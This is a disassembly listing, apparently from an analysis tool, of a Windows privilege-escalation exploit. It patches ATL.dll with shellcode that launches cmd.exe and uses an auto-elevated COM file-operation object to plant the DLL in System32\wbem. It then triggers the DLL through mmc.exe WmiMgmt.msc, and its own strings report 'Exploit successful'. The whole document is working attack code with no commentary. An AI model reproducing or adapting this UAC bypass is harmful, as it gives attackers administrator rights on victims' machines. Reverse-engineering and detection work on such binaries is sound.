Function at 0x1400023b0
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor r13d, r13d
mov dword [rbp - 0x58], r13d
xor ecx, ecx
call qword [sym.imp.MSVCP140.dll_public:_static_bool___cdecl_std::ios_base::sync_with_stdio_bool_]
lea edx, [r13 + 0xe]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
jns 0x140002460
lea rdx, str.CoInitializeEx___failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.140004500
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140002fca
lea rcx, [0x140003010]
call fcn.14000593c
mov qword [rbp - 0x60], r13
lea r9, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140007580]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x60]
test eax, eax
jns 0x1400024a2
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_0__failed.
jmp 0x140002410
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop dword [rax]
lea rax, [rax + 1]
cmp word [rcx + rax*2], r13w
jne 0x1400024b0
lea rsi, [rax*2 + 0x1c]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov rdx, rsi
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r12, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x148], rax
mov rdx, qword [rbp - 0x60]
mov rcx, rdi
lea rcx, [rcx + 1]
cmp word [rdx + rcx*2], 0
jne 0x1400024f5
movups xmm0, xmmword [str.explorer.exe]
movups xmmword [rax + rcx*2], xmm0
movsd xmm0, qword [0x140007850]
movsd qword [rax + rcx*2 + 0x10], xmm0
mov eax, dword [0x140007858]
mov dword [r12 + rcx*2 + 0x18], eax
lea r9, [rbp - 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140007590]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x60]
test eax, eax
jns 0x1400025a1
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.140004500
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
jmp 0x140002fb9
lea rdi, [rdi + 1]
cmp word [rcx + rdi*2], 0
jne 0x1400025a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
lea rdx, [rdi*2 + 0x1c]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r14, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x150], rcx
mov qword [rbp + 0x158], rax
movups xmm0, xmmword [0x140007880]
movups xmmword [rax + rdi*2], xmm0
movzx ecx, word [0x140007890]
mov word [rax + rdi*2 + 0x10], cx
mov qword [rbp - 0x40], r12
mov word [rbp - 0x38], si
lea r8, [rbp - 0x40]
lea rdx, [0x140003020]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
mov ebx, eax
test eax, eax
jns 0x14000265c
lea rdx, str.LdrEnumerateLoadedModules___failed._NTSTATUS:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
jmp 0x140002faa
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
mov rdx, r14
lea rcx, [rbp - 0x30]
call fcn.140003d80
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400026cb
lea rdx, str.Failed_to_open
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004710
mov rdx, r14
mov rcx, rax
call fcn.140004710
lea rdx, [0x1400048f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov esi, 1
jmp 0x140002fa0
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0x108]
add rcx, qword [rbp + 0x110]
call fcn.14000595c
mov r15, rax
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
movaps xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_struct__Mbstatet_____ptr64]
mov r8, qword [rbp + 0x110]
add r8, qword [rbp + 0x108]
mov rdx, r15
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
mov esi, 1
test al, al
je 0x140002765
lea rdx, str.Failed_to_read_system_ATL.dll_n
jmp 0x140002f8a
lea rcx, [rbp - 0x18]
call fcn.140004370
test rax, rax
jne 0x14000278f
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsxd r8, dword [r15 + 0x3c]
movzx eax, word [r8 + r15 + 0x14]
lea rdx, [r8 + 0x18]
add rdx, r15
add rdx, rax
mov rcx, r13
lea r9, str..text
nop dword [rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400027d0
cmp rcx, 6
jne 0x1400027b0
jmp 0x1400027f4
add rdx, 0x28
mov rax, r13
nop word [rax + rax]
movzx ecx, byte [r9 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1400027d0
cmp rax, 6
jne 0x1400027e0
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [r14 + rdi*2 + 2], xmm0
mov ecx, dword [r8 + r15 + 0x28]
mov eax, dword [rdx + 0xc]
sub rcx, rax
mov ebx, dword [rdx + 0x14]
lea rax, [r15 + rcx]
add rbx, rax
movaps xmm0, xmmword [0x140007dd0]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x140007de0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x140007df0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x140007e00]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x140007e10]
movups xmmword [rbx + 0x40], xmm0
movaps xmm1, xmmword [0x140007e20]
movups xmmword [rbx + 0x50], xmm1
movaps xmm0, xmmword [0x140007e30]
movups xmmword [rbx + 0x60], xmm0
movaps xmm1, xmmword [0x140007e40]
movups xmmword [rbx + 0x70], xmm1
movsd xmm0, qword [0x140007e50]
movsd qword [rbx + 0x80], xmm0
movzx eax, byte [0x140007e58]
mov byte [rbx + 0x88], al
lea r8, [rdi*2 + 0x12]
lea rcx, [rbx + 0x89]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rbx + 0x71], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbx + 0x7f], rax
cmp qword [rbp + 0x68], 0
jne 0x1400029c9
mov edx, 0x22
lea r8d, [rdx + 0x1e]
lea rcx, [0x140007920]
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x1400029c9
mov byte [rbp + 0x64], sil
mov byte [rbp + 0x59], 0
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x58], r13
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp - 0x48]
mov qword [rsp + 0x28], r8
mov rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x68], rbx
mov rax, qword [0x14000caf8]
mov qword [rbp + 0x5c], rax
mov qword [rbp + 0x50], r13
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140004930
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14000297c
mov qword [rbp + 0x50], r13
jmp 0x14000298b
mov qword [rbp + 0x50], rbx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400029ad
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400029ad
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, esi
mov rcx, rax
call r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400029e5
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0x68], 0
jne 0x1400029f8
lea rdx, str.Error_creating_payload_drop_n
jmp 0x140002f8a
mov r8, qword [rbp + 0x110]
add r8, qword [rbp + 0x108]
mov rdx, r15
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140002f83
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140002f83
lea rcx, [rbp - 0x18]
call fcn.140004370
test rax, rax
jne 0x140002a77
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsd xmm0, qword [str.wbem]
movsd qword [r14 + rdi*2 + 2], xmm0
movzx eax, word [0x140007970]
mov word [r14 + rdi*2 + 0xa], ax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x58], 7
movsd xmm0, qword [str.dropper]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140007980]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140007984]
mov word [rsp + 0x4c], ax
mov word [rsp + 0x4e], r13w
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov dword [rbp - 0x58], 0xf
lea rcx, [rsp + 0x60]
call fcn.140002260
test eax, eax
jne 0x140002ffa
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.140001b80
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002b68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056c0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002bc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bbc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056c0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
lea r9, [rbp + 0xf8]
lea r8, [0x140007d50]
xor edx, edx
mov rcx, r14
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002bf7
lea rdx, str.SHCreateItemFromParsingName_0__failed.
jmp 0x140002c31
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
lea r9, [rbp + 0x100]
lea r8, [0x140007d50]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002c7c
lea rdx, str.SHCreateItemFromParsingName_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.140004500
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002eea
mov qword [rbp + 0xf0], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x16c], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov qword [rbp + 0x190], r13
mov dword [rbp + 0x168], 0x30
mov dword [rbp + 0x17c], 4
lea r9, [rbp + 0xf0]
lea r8, [0x140007c80]
lea rdx, [rbp + 0x168]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov ebx, eax
test eax, eax
jns 0x140002ce8
lea rdx, str.CoGetObject___failed.
jmp 0x140002e72
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r13
lea r9, str.ATL.dll
mov r8, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x100]
call qword [rax + 0x70]
mov ebx, eax
test eax, eax
jns 0x140002d21
lea rdx, str.IFileOperation::MoveItem___failed.
jmp 0x140002e72
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov edx, 0x10800410
call qword [rax + 0x28]
mov ebx, eax
test eax, eax
jns 0x140002d45
lea rdx, str.IFileOperation::SetOperationFlags___failed.
jmp 0x140002e72
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov ebx, eax
test eax, eax
jns 0x140002d67
lea rdx, str.IFileOperation::PerformOperations_0__failed.
jmp 0x140002e72
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str.WmiMgmt.msc
lea r8, str.mmc.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, rax
cmp eax, 0x20
jg 0x140002dc4
lea rdx, str.ShellExecuteW_failed._Return_value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x140002dea
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
movups xmm0, xmmword [0x140007880]
movups xmmword [r14 + rdi*2 + 0xa], xmm0
movzx eax, word [0x140007890]
mov word [r14 + rdi*2 + 0x1a], ax
lea r9, [rbp + 0xf8]
lea r8, [0x140007d50]
xor edx, edx
mov rcx, r14
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov ebx, eax
test eax, eax
jns 0x140002e2c
lea rdx, str.SHCreateItemFromParsingName_2__failed.
jmp 0x140002e72
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbp + 0xf8]
call qword [rax + 0x90]
mov ebx, eax
test eax, eax
jns 0x140002e55
lea rdx, str.IFileOperation::DeleteItem___failed.
jmp 0x140002e72
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov ebx, eax
test eax, eax
jns 0x140002eba
lea rdx, str.IFileOperation::PerformOperations_1__failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.140004500
lea rdx, [0x140001780]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400046d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002ed0
lea rdx, str.Exploit_successful_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
mov esi, r13d
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x140002eea
mov qword [rbp + 0xf0], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140002f04
mov qword [rbp + 0x100], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x140002f1e
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140002f67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056c0
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], 7
mov word [rbp + 0x120], r13w
jmp 0x140002f97
lea rdx, str.Error_writing_payload_drop_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004500
nop
mov rcx, r15
call fcn.1400056c0
nop
lea rcx, [rbp - 0x30]
call fcn.140003060
nop
test r14, r14
je 0x140002fb9
mov rcx, r14
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
test r12, r12
je 0x140002fc8
mov rcx, r12
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.1400056a0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, eax
call fcn.140002170
int3